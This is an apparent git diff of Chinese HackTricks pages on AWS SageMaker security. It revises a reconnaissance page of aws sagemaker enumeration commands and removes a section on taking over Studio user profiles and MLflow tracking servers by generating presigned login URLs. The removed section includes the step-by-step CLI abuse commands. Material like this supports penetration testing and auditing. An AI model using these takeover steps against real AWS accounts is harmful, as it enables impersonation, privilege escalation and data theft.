--region us-east-1 \
|
||||
--domain-identifier <domain-id> \
|
||||
--user-identifier <arn-user> \
|
||||
--user-type IAM_USER
|
||||
```
|
||||
The Unified Domain URL 的格式如下: `https://<domain-id>.sagemaker.<region>.on.aws/`(例如 `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`)。
|
||||
|
||||
**潜在影响:** 作为用户访问 Sagemaker Unified Studio Domain,能够访问 Sagemaker 域内的所有资源,甚至将权限提升到 Sagemaker Unified Studio Domain 中笔记本所使用的角色。
|
||||
|
||||
## 参考
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
|
||||
@@ -2,29 +2,29 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 服务概述
|
||||
## 服务概览
|
||||
|
||||
Amazon SageMaker 是 AWS 托管的机器学习平台,整合了 notebooks、训练基础设施、编排、注册表和托管端点。SageMaker 资源被攻破通常会带来:
|
||||
Amazon SageMaker 是 AWS 的托管机器学习平台,连接 notebooks、训练基础设施、编排、镜像注册表和托管端点。对 SageMaker 资源的妥协通常会带来:
|
||||
|
||||
- 长期存在的 IAM 执行角色,具有广泛的 S3、ECR、Secrets Manager 或 KMS 访问权限。
|
||||
- 可访问存储在 S3、EFS 或 feature stores 中的敏感数据集。
|
||||
- 长期存在的 IAM 执行角色,拥有广泛的 S3、ECR、Secrets Manager 或 KMS 访问权限。
|
||||
- 可访问存储在 S3、EFS 或 feature stores 内的敏感数据集。
|
||||
- 在 VPCs 内的网络立足点(Studio apps、training jobs、endpoints)。
|
||||
- 绕过控制台认证的高权限 presigned URLs。
|
||||
- 可以绕过控制台认证的高权限预签名 URL。
|
||||
|
||||
在进行 pivot、persist 或 exfiltrate 数据之前,了解 SageMaker 的构成至关重要。
|
||||
在横向移动、持久化或外传数据之前,了解 SageMaker 的组装方式至关重要。
|
||||
|
||||
## 核心构件
|
||||
## 核心构建块
|
||||
|
||||
- **Studio Domains & Spaces**: Web IDE(JupyterLab、Code Editor、RStudio)。每个 domain 都有一个共享的 EFS 文件系统和默认的 execution role。
|
||||
- **Notebook Instances**: 用于独立 notebooks 的托管 EC2 实例;使用独立的 execution roles。
|
||||
- **Training / Processing / Transform Jobs**: 短暂的容器,从 ECR 拉取代码,从 S3 拉取数据。
|
||||
- **Pipelines & Experiments**: 描述所有步骤、输入和输出的编排工作流。
|
||||
- **Models & Endpoints**: 用于通过 HTTPS endpoints 进行推理的打包工件。
|
||||
- **Studio Domains & Spaces**: Web IDE(JupyterLab、Code Editor、RStudio)。每个 domain 有共享的 EFS 文件系统和默认执行角色。
|
||||
- **Notebook Instances**: 托管的 EC2 实例,用于独立的 notebook;使用独立的执行角色。
|
||||
- **Training / Processing / Transform Jobs**: 短暂的容器,从 ECR 拉取代码并从 S3 获取数据。
|
||||
- **Pipelines & Experiments**: 编排的工作流,描述所有步骤、输入和输出。
|
||||
- **Models & Endpoints**: 打包的制品,通过 HTTPS endpoints 部署用于推理。
|
||||
- **Feature Store & Data Wrangler**: 用于数据准备和特征管理的托管服务。
|
||||
- **Autopilot & JumpStart**: 自动化的 ML 和策划的模型目录。
|
||||
- **MLflow Tracking Servers**: 托管的 MLflow UI/API,使用 presigned access tokens。
|
||||
- **Autopilot & JumpStart**: 自动化 ML 和策划的模型目录。
|
||||
- **MLflow Tracking Servers**: 托管的 MLflow UI/API,使用预签名访问令牌。
|
||||
|
||||
每个资源都会引用 execution role、S3 位置、容器镜像和可选的 VPC/KMS 配置—在枚举时记录所有这些。
|
||||
每个资源都会引用执行角色、S3 存储位置、容器镜像以及可选的 VPC/KMS 配置——在枚举时务必收集所有这些信息。
|
||||
|
||||
## 账户与全局元数据
|
||||
```bash
|
||||
@@ -41,7 +41,7 @@ aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
|
||||
```
|
||||
注意任何跨账户信任(执行角色或具有外部主体的 S3 存储桶)以及诸如 service control policies 或 SCPs 的基线限制。
|
||||
|
||||
## Studio 域、Apps 与 Shared Spaces
|
||||
## Studio 域、应用与共享空间
|
||||
```bash
|
||||
aws sagemaker list-domains --region $REGION
|
||||
aws sagemaker describe-domain --domain-id <domain-id> --region $REGION
|
||||
@@ -60,14 +60,14 @@ aws sagemaker describe-space --domain-id <domain-id> --space-name <space> --regi
|
||||
aws sagemaker list-studio-lifecycle-configs --region $REGION
|
||||
aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <name> --region $REGION
|
||||
```
|
||||
要记录的内容:
|
||||
需要记录:
|
||||
|
||||
- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`。
|
||||
- 已挂载的 EFS (`HomeEfsFileSystemId`) 和 S3 主目录。
|
||||
- Lifecycle scripts (通常包含 bootstrap credentials 或用于 push/pull 的额外代码)。
|
||||
- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
|
||||
- 挂载的 EFS (`HomeEfsFileSystemId`) 和 S3 主目录。
|
||||
- 生命周期脚本(通常包含引导凭据或用于推/拉的额外代码)。
|
||||
|
||||
> [!TIP]
|
||||
> Presigned Studio URLs 在授予范围过广时可绕过身份验证。
|
||||
> Presigned Studio URLs 在权限过宽时可以绕过身份验证。
|
||||
|
||||
## Notebook Instances & Lifecycle Configs
|
||||
```bash
|
||||
@@ -78,11 +78,11 @@ aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-li
|
||||
```
|
||||
Notebook 元数据会显示:
|
||||
|
||||
- 执行角色(`RoleArn`)、直接互联网访问与仅 VPC 模式。
|
||||
- S3 位置位于 `DefaultCodeRepository`、`DirectInternetAccess`、`RootAccess`。
|
||||
- 生命周期脚本(用于凭据或持久化钩子)。
|
||||
- 执行角色 (`RoleArn`)、是否允许直接访问互联网或仅限 VPC 模式。
|
||||
- S3 存储位置在 `DefaultCodeRepository`、`DirectInternetAccess`、`RootAccess`。
|
||||
- 生命周期脚本(用于凭证或持久化挂钩)。
|
||||
|
||||
## 训练、处理、转换与批处理作业
|
||||
## Training、Processing、Transform 和 Batch 作业
|
||||
```bash
|
||||
aws sagemaker list-training-jobs --region $REGION
|
||||
aws sagemaker describe-training-job --training-job-name <job> --region $REGION
|
||||
@@ -93,12 +93,12 @@ aws sagemaker describe-processing-job --processing-job-name <job> --region $REGI
|
||||
aws sagemaker list-transform-jobs --region $REGION
|
||||
aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
|
||||
```
|
||||
仔细审查:
|
||||
仔细检查:
|
||||
|
||||
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – 哪些 ECR 镜像被部署。
|
||||
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – 哪些 ECR 镜像已部署。
|
||||
- `InputDataConfig` & `OutputDataConfig` – S3 桶、前缀和 KMS 密钥。
|
||||
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – 用于确定网络或加密的配置/态势。
|
||||
- `HyperParameters` 可能 leak 环境凭据或连接字符串。
|
||||
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – 确定网络或加密配置。
|
||||
- `HyperParameters` 可能 leak 环境凭证或连接字符串。
|
||||
|
||||
## 管道、实验与试验
|
||||
```bash
|
||||
@@ -110,7 +110,7 @@ aws sagemaker list-experiments --region $REGION
|
||||
aws sagemaker list-trials --experiment-name <experiment> --region $REGION
|
||||
aws sagemaker list-trial-components --trial-name <trial> --region $REGION
|
||||
```
|
||||
Pipeline 定义会详细说明每个步骤、相关角色、容器镜像和环境变量。Trial 组件通常包含训练工件 URIs、S3 日志和指标,这些都会提示敏感数据的流向。
|
||||
Pipeline 定义详述每个步骤、关联角色、容器镜像和环境变量。试验组件通常包含训练工件 URIs、S3 日志和指标,这些暗示着敏感数据流动。
|
||||
|
||||
## 模型、端点配置与已部署端点
|
||||
```bash
|
||||
@@ -123,12 +123,10 @@ aws sagemaker describe-endpoint-config --endpoint-config-name <cfg> --region $RE
|
||||
aws sagemaker list-endpoints --region $REGION
|
||||
aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
|
||||
```
|
||||
关注点:
|
||||
|
||||
- 模型工件 S3 URIs (`PrimaryContainer.ModelDataUrl`) 和 推理容器镜像。
|
||||
- Endpoint 数据捕获配置 (S3 bucket, KMS),用于可能的 log exfil。
|
||||
- 使用 `S3DataSource` 或 `ModelPackage` 的 Multi-model endpoints(检查跨账户打包)。
|
||||
- 与 endpoints 关联的网络配置和安全组。
|
||||
- 端点的数据捕获配置(S3 bucket、KMS),用于可能的日志 exfil。
|
||||
- 使用 `S3DataSource` 或 `ModelPackage` 的多模型端点(检查跨账户打包)。
|
||||
- 附加到端点的网络配置和 security groups。
|
||||
|
||||
## Feature Store, Data Wrangler & Clarify
|
||||
```bash
|
||||
@@ -143,9 +141,9 @@ aws sagemaker list-model-monitoring-schedule --region $REGION
|
||||
```
|
||||
安全要点:
|
||||
|
||||
- Online feature stores 会将数据复制到 Kinesis;检查 `OnlineStoreConfig.SecurityConfig.KmsKeyId` 和 VPC。
|
||||
- Data Wrangler flows 常常嵌入 JDBC/Redshift 凭证或私有端点。
|
||||
- Clarify/Model Monitor jobs 会将数据导出到 S3,可能对所有人可读或可被跨账户访问。
|
||||
- 在线特征存储会将数据复制到 Kinesis;检查 `OnlineStoreConfig.SecurityConfig.KmsKeyId` 和 VPC。
|
||||
- Data Wrangler 流程通常会嵌入 JDBC/Redshift 凭证或私有端点。
|
||||
- Clarify/Model Monitor 作业会将数据导出到 S3,可能对公众可读或可被跨账户访问。
|
||||
|
||||
## MLflow Tracking Servers, Autopilot & JumpStart
|
||||
```bash
|
||||
@@ -158,15 +156,15 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
|
||||
aws sagemaker list-jumpstart-models --region $REGION
|
||||
aws sagemaker list-jumpstart-script-resources --region $REGION
|
||||
```
|
||||
- MLflow tracking servers 存储实验和工件;presigned URLs 可能会暴露所有内容。
|
||||
- MLflow tracking servers 存储实验和工件;预签名 URL 可能会暴露所有内容。
|
||||
- Autopilot jobs 会启动多个训练作业——枚举输出以查找隐藏数据。
|
||||
- JumpStart reference architectures 可能会在账户中部署特权角色。
|
||||
- JumpStart 参考架构可能会将特权角色部署到账户中。
|
||||
|
||||
## IAM 与网络注意事项
|
||||
## IAM & Networking Considerations
|
||||
|
||||
- 列出附加到所有执行角色(Studio、notebooks、training jobs、pipelines、endpoints)的 IAM 策略。
|
||||
- 检查网络上下文:子网(subnets)、安全组(security groups)、VPC endpoints。许多组织会隔离训练作业但忘记限制出站流量。
|
||||
- 检查在 `ModelDataUrl`、`DataCaptureConfig`、`InputDataConfig` 中引用的 S3 bucket 策略是否允许外部访问。
|
||||
- 枚举附加到所有执行角色(Studio、notebooks、training jobs、pipelines、endpoints)的 IAM 策略。
|
||||
- 检查网络上下文:subnets、security groups、VPC endpoints。许多组织会隔离训练作业,但忘记限制出站流量。
|
||||
- 审查在 `ModelDataUrl`、`DataCaptureConfig`、`InputDataConfig` 中引用的 S3 桶策略,检查是否允许外部访问。
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
@@ -192,7 +190,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION
|
||||
../aws-sagemaker-unauthenticated-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
|
||||
- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)
|
||||
|
||||
@@ -1,107 +1,13 @@
|
||||
# AWS - SageMaker Unauthorized Access
|
||||
# AWS - SageMaker 未授权访问
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile)
|
||||
## SageMaker 的预签名 URL
|
||||
|
||||
### 描述
|
||||
拥有在目标 Studio `UserProfile` 上调用 `sagemaker:CreatePresignedDomainUrl` 权限的主体,可以生成一个登录 URL,该 URL 可直接以该 `UserProfile` 的身份登录 SageMaker Studio。这样,攻击者的浏览器就会获得一个 Studio 会话,该会话继承该 `UserProfile` 的 `ExecutionRole` 权限,并对该 `UserProfile` 的基于 EFS 的主目录和应用拥有完全访问权限。无需 `iam:PassRole` 或控制台访问权限。
|
||||
如果攻击者设法获取了针对 SageMaker 资源的预签名 URL,他们可以在无需进一步身份验证的情况下访问该资源。权限和访问级别将取决于与该资源关联的角色:
|
||||
|
||||
### 要求
|
||||
- 目标环境中需有 SageMaker Studio 的 `Domain` 和一个目标 `UserProfile`。
|
||||
- 攻击者主体需要在目标 `UserProfile` 上拥有 `sagemaker:CreatePresignedDomainUrl`(资源级别)或 `*` 权限。
|
||||
|
||||
最小策略示例(作用范围为单个 `UserProfile`):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### 滥用步骤
|
||||
|
||||
1) 枚举你可以针对的 Studio Domain 和 UserProfiles
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
2) 生成 presigned URL(默认有效期约 ~5 分钟)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) 在浏览器中打开返回的 URL,以目标用户身份登录 Studio。在 Studio 内的 Jupyter 终端中验证实际身份:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Notes:
|
||||
- `--landing-uri` 可以省略。某些值(例如 `app:JupyterLab:/lab`)可能会根据 Studio 的版本/变体被拒绝;默认通常会先重定向到 Studio 首页,然后再到 Jupyter。
|
||||
- 组织策略/VPC 终端节点限制仍可能阻止网络访问;生成令牌不需要控制台登录或 `iam:PassRole`。
|
||||
|
||||
### Impact
|
||||
- 通过假定任何其 ARN 被允许的 Studio `UserProfile` 来进行横向移动和权限提升,从而继承其 `ExecutionRole` 以及文件系统/应用。
|
||||
|
||||
### Evidence (from a controlled test)
|
||||
- 在目标 `UserProfile` 上仅具有 `sagemaker:CreatePresignedDomainUrl` 的情况下,攻击者角色成功返回了类似如下的 `AuthorizedUrl`:
|
||||
```
|
||||
https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
|
||||
```
|
||||
- 直接的 HTTP 请求会以重定向 (HTTP 302) 到 Studio 响应,确认该 URL 在过期之前有效且处于激活状态。
|
||||
|
||||
## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
|
||||
|
||||
### 描述
|
||||
具有对目标 SageMaker MLflow Tracking Server 调用 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 权限的主体,可以生成一个一次性预签名 URL,该 URL 可直接对该服务器的托管 MLflow UI 进行认证。 这会授予与合法用户在该服务器上相同的访问权限(查看/创建实验和运行,以及在服务器的 S3 artifact store 中下载/上传 artifact),无需控制台访问或 `iam:PassRole`。
|
||||
|
||||
### 要求
|
||||
- 目标账户/区域中存在一个 SageMaker MLflow Tracking Server,并知道其名称。
|
||||
- 攻击者主体需要在目标 MLflow Tracking Server 资源上拥有 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 权限(或 `*`)。
|
||||
|
||||
最小策略示例(限制到单个 Tracking Server):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### 滥用步骤
|
||||
|
||||
1) 枚举你可以针对的 MLflow Tracking Servers 并选定一个名称
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
2) 生成一个 presigned MLflow UI URL (短时间内有效)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--expires-in-seconds 300 \
|
||||
--session-expiration-duration-in-seconds 1800 \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) 在浏览器中打开返回的 URL,以该 Tracking Server 的已认证用户身份访问 MLflow UI。
|
||||
|
||||
注意:
|
||||
- Tracking Server 必须处于就绪状态(例如 `Created/Active`)。如果仍处于 `Creating`,请求将被拒绝。
|
||||
- 预签名 URL 为一次性且短期有效;需要时请生成新的。
|
||||
|
||||
### 影响
|
||||
- 直接访问目标 Tracking Server 的托管 MLflow UI,使你能够在服务器配置所强制的权限范围内查看和修改 experiments/runs,并检索或上传存储在服务器配置的 S3 artifact store 中的 artifacts。
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user